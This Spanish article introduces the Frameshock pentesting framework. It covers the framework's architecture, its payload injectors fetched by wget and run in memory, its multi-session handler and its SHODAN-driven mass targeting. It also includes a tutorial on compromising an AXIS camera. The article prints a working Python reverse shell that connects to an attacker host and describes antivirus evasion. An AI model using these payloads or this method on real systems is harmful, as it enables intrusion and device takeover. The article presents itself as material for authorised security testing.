/ 9 min de lectura

Frameshock: un framework modular de penetration testing

Código en un monitor oscuro

Introducción

Este artículo recorre el funcionamiento interno del framework de pentesting Frameshock y responde las preguntas más comunes sobre su uso y arquitectura.

La comunidad fue reportando bugs menores de estabilidad en el framework, que el equipo corrigió de forma constante. Recomendamos descargar la última versión desde el repositorio oficial: https://github.com/hdbreaker/Frameshock

Interfaz principal de Frameshock

El framework está en fase BETA, por ahora soportado solo en distribuciones Linux basadas en Debian y en desarrollo constante. Quienes encuentren un error pueden actualizar a la última versión del repositorio y confirmar si el problema sigue presente.

Filosofía del Framework y Experiencia de Usuario

Cualquiera que haya usado Metasploit no va a tener mayores problemas familiarizándose con Frameshock, porque decidimos seguir la misma línea de interacción con el usuario que MSF para facilitar la migración y evitar complicaciones sintácticas que implica una forma nueva de trabajar.

Esta guía explica el funcionamiento de Frameshock y resuelve dudas comunes sobre su uso.

Arquitectura Central

Frameshock está dividido en 4 partes principales:

  1. The Main - Funcionalidad central del framework
  2. The Payload - Generación de vectores de ataque
  3. The Handler - Gestión de sesiones
  4. The Modules - Componentes de explotación
Interfaz principal de Frameshock

El Main del Framework

Este es el cuerpo principal del Framework, donde están todas las utilidades de configuración para su correcto funcionamiento, las opciones de configuración de payload, la posibilidad de acceder al MultiHandler de Frameshock y también las opciones del motor de búsqueda SHODAN y todas las modificaciones de base de datos que eso implica.

Lo importante a tener en cuenta en Frameshock es que, a diferencia de Metasploit, las opciones de configuración del framework son globales, lo que permite acceder a ellas desde los módulos subyacentes dando una flexibilidad enorme a la hora de desarrollar.

Los payloads en Frameshock también son globales, igual que las búsquedas de SHODAN, lo que permite realizar múltiples ataques rápidamente y reconfigurar sin necesidad de modificar nada dentro del módulo que estamos operando ni de las sesiones obtenidas.

Filosofía de Frameshock

Frameshock sigue esta línea de pensamiento:

  1. Elegir el payload a usar
  2. Iniciar el Session Manager
  3. Seleccionar un módulo y atacar
Configuración de payload de Frameshock

Base Técnica

# Framework Structure
Frameshock/
├── frameshock.py # Core framework engine
├── config.py # Configuration management
├── pyHandler.py # Multi-session handler
├── Modules/ # Drop-in exploit modules
├── ExtraModules/ # Extended functionality
├── Injector/ # Payload injection system
├── handler/ # Session management
└── db/ # SQLite target database

El Sistema de Payloads

A diferencia de Metasploit, Frameshock ofrece solo 5 Payloads posibles. Cada uno cubre todas las necesidades que un pentester puede requerir según el sistema a atacar.

Los payloads más potentes de Frameshock están programados en Python, lo que genera una dependencia en la máquina víctima con el interprete. Esto se resolvió en Linux, dando la posibilidad de generar 2 Payloads que dependen directamente de las shells interactivas del sistema.

Como algunos sistemas ARM/IoT solo tienen /bin/sh, creamos 2 payloads que permiten manejar Reverse Shell tanto en BASH como en SH.

Todavía estamos desarrollando un payload en C/C++ para atacar máquinas Windows de forma eficiente, pero por ahora se puede pasar el payload por Py2Exe para generar un ejecutable compilado y realizar el ataque con éxito. Aunque siempre existe la posibilidad de atacar servidores Windows con PowerShell, que incluye Python por defecto.

Tipos de Payload y Funcionamiento

Dentro de los Payloads tenemos 3 formas distintas de operación:

Payloads en Python

Frameshock Main, al seleccionar un Payload, genera un injector.py, que se encuentra dentro de la carpeta del proyecto /Injector y también se copia dentro del directorio /Injector adentro del path de Apache definido por el usuario (/var/www en nuestro caso).

/var/www/Injector/injector.py

Esto permite acceder al payload de forma remota vía wget después de explotar la vulnerabilidad.

injector.py es un código chico que le pide el Payload verdadero al Handler y después lo ejecuta On The Fly, evitando detecciones de Antivirus y generando tráfico de internet mínimo.

Diagrama:

Victim (injector.py) ------GiveMePayload------> Attacker Handler
Victim (injector.py) <-------Payload---------- Attacker Handler
Victim (Payload On Memory) ---Reverse Shell---> Attacker Handler

Payloads de Shell

MainFrameshock genera injector.sh o injector.bash, que están dentro de la carpeta del proyecto /Injector y se copian dentro del directorio de Apache.

/var/www/Injector/injector.sh || /var/www/Injector/injector.bash

En este caso, injector.sh o injector.bash devuelve una shell interactiva directamente por métodos específicos, sin pedirle el Payload al Handler.

Payload de Meterpreter

MainFrameshock genera un injector.py que pide el Payload correspondiente al Multi/Handler de Metasploit, que lo ejecuta On The Fly y devuelve una sesión de Meterpreter.

El Sistema del Handler

El Handler se inicia desde el menú principal ejecutando start handler. Es completamente independiente y permite manejar todos los tipos de sesiones entregadas por los payloads, excepto Meterpreter, que lo maneja Metasploit y depende de su instalación previa.

Interfaz del Handler de Frameshock

El Handler de Frameshock se comporta de 2 formas distintas según el identificador que envía el payload.

Integra:

  • Payload Manager: se encarga de enviar Payloads a los Injectors correspondientes
  • Session Manager: maneja sesiones ilimitadas de forma simultánea usando MultiThreading y procesamiento asincrónico

Esto permite interactuar y devolver sesiones a background en cualquier momento con los comandos interact y stop. Se espera que la próxima versión pueda instalar un rootkit en los dispositivos deseados como módulo para mantener el acceso.

Gestión de Sesiones en Acción

Session Manager de Frameshock

En la imagen de arriba se puede ver cómo un injector.py le pide un payload al handler y, después de ejecutarlo en memoria, devuelve una Reverse Shell con la que podemos interactuar en cualquier momento.

Arsenal Avanzado de Payloads

Frameshock soporta múltiples tipos de payload para escenarios diversos:

Generic Reverse Shells

Terminal window
# Traditional sh/bash reverse shells
set payload linux/reverse_shell
set lhost 192.168.1.100
set lport 4444

Python-Based Connections

# Cross-platform Python reverse shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.100",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Meterpreter Integration

Terminal window
# Direct Metasploit integration
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 443

Gestión Multi-Sesión

Maneja decenas de sistemas comprometidos de forma simultánea:

Terminal window
frameshock> start handler
[+] Multi-handler started on 192.168.1.100:4444
[+] Waiting for connections...
[+] Session 1 opened: 172.16.1.200:443
[+] Session 2 opened: 10.0.0.50:22
[+] Session 3 opened: 192.168.1.100:80
frameshock> sessions -i 1
[Session 1] shell> whoami
www-data
[Session 1] shell> uname -a
Linux target01 3.19.0-25-generic #26~14.04.1-Ubuntu

El Sistema de Módulos

Los módulos desarrollados por la comunidad están en ExtraModules y hay que seleccionarlos y copiarlos a la carpeta Modules, respetando la nomenclatura y el identificador numérico correspondiente según la cantidad de módulos presentes en la carpeta.

Hecho esto, podemos interactuar con los módulos seleccionados desde Frameshock usando los comandos show modules y use {ModuleNumber}.

Interfaz de módulos de Frameshock

Importante: antes de realizar un ataque con un módulo, hay que asegurarse de haber creado un payload e iniciado el Handler.

Una vez seleccionado un módulo, podemos ver sus opciones internas para adaptarlo a nuestras necesidades con el comando help.

Cada desarrollador puede adaptar las propiedades internas de sus módulos según sus necesidades. Frameshock propone una estructura base que hay que respetar para sacarle el máximo provecho al framework.

Integración con SHODAN

Entre las opciones por defecto de los módulos está la función use shodan, que carga como targets todos los dispositivos obtenidos al usar la búsqueda de SHODAN en el menú principal de Frameshock, permitiendo automatizar ataques masivos de forma simple y rápida.

Estructura de Módulos

Los módulos disponibles incluyen:

  • QMAIL Shellshock Exploit - apunta a servidores de mail vulnerables
  • SQL Injection with Bing Search - descubrimiento automatizado de SQLi
  • AXIS Camera Credential Harvester - explotación de dispositivos IoT
  • Web Application Bot - testing web automatizado

Tutorial Práctico: Ataque a una Cámara AXIS

En este ejemplo de tutorial vamos a atacar una cámara AXIS remota, vulnerable al módulo AXISIntruder desarrollado por [Q]3rv[0], que prueba contraseñas débiles en estos dispositivos. Una vez logrado el acceso, sube el Payload y en segundos devuelve una shell dentro del pequeño sistema interno de estos dispositivos.

Notar que las cámaras AXIS con ARM solo tienen /bin/sh, así que nuestro payload tiene que ser el apropiado para que el ataque se pueda realizar.

Entorno de shell de Frameshock

Proceso de Ataque Paso a Paso

1. Iniciar el Handler

Primero, inicializamos el session handler para manejar las conexiones entrantes:

Handler de Frameshock iniciado

2. Seleccionar el Módulo

Elegimos el módulo de explotación de cámaras AXIS:

Selección de módulo de Frameshock

3. Configurar el Target Manualmente

Configuramos nuestra cámara objetivo de forma manual:

Configuración de target de Frameshock

4. Ejecutar el Ataque

Lanzamos la explotación contra el target configurado:

Ejecución del exploit de Frameshock

5. Gestión de la Sesión

Después de unos segundos, podemos ver cómo nuestro handler maneja la sesión:

Sesión de la víctima en Frameshock

El ataque compromete la cámara AXIS con éxito, mostrando la efectividad de Frameshock en escenarios de explotación de dispositivos IoT.

Filosofía de Desarrollo

Modularidad “Pick and Drop”

La filosofía central detrás de Frameshock es la simplicidad radical. Agregar un exploit nuevo es tan simple como crear un archivo Python y colocarlo en el directorio Modules/:

custom_exploit.py
def exploit(target, options):
"""
Custom exploit module
Target: target IP/hostname
Options: payload configuration
"""
# Your exploitation logic here
return success_status
def configure():
"""Module configuration"""
return {
'name': 'Custom Exploit',
'description': 'My custom vulnerability',
'author': 'Your Name',
'targets': ['linux', 'windows']
}

Y listo. Sin registro, sin archivos de configuración, sin modificar el framework. Simplicidad pura.

Combatiendo la Cultura Script-Kiddie

Frameshock está diseñado para promover el aprendizaje y la comprensión, no la ejecución irreflexiva de scripts:

# Every module includes educational comments
def exploit_function(target):
"""
This exploit targets CVE-XXXX-XXXX in service XYZ
Vulnerability details:
- Buffer overflow in packet parsing
- Occurs when input length > 256 bytes
- No input validation on user-controlled data
Exploitation steps:
1. Craft oversized packet
2. Trigger overflow condition
3. Control program execution
"""
# Clear, documented exploitation code

Seguridad y Ética

Uso Responsable

Frameshock está diseñado exclusivamente para testing de seguridad autorizado:

Aviso crítico: este framework solo se debe usar contra sistemas propios o con permiso explícito y por escrito para probarlos. El acceso no autorizado a sistemas informáticos es ilegal y no ético.

Valor Educativo

El framework cumple varios propósitos educativos:

  1. Entender la explotación: código claro y documentado enseña cómo funcionan las vulnerabilidades
  2. Desarrollo de herramientas: la arquitectura modular muestra principios de diseño de software
  3. Conciencia de seguridad: la experiencia práctica con vectores de ataque mejora la defensa

Divulgación Responsable

Al usar Frameshock para investigación de seguridad:

  • Documentar los hallazgos a fondo
  • Reportar las vulnerabilidades a los vendors afectados
  • Dar tiempo razonable para los parches
  • Compartir el conocimiento con la comunidad de seguridad

Acceso al Repositorio

El framework Frameshock completo está disponible en GitHub: https://github.com/hdbreaker/Frameshock

Referencias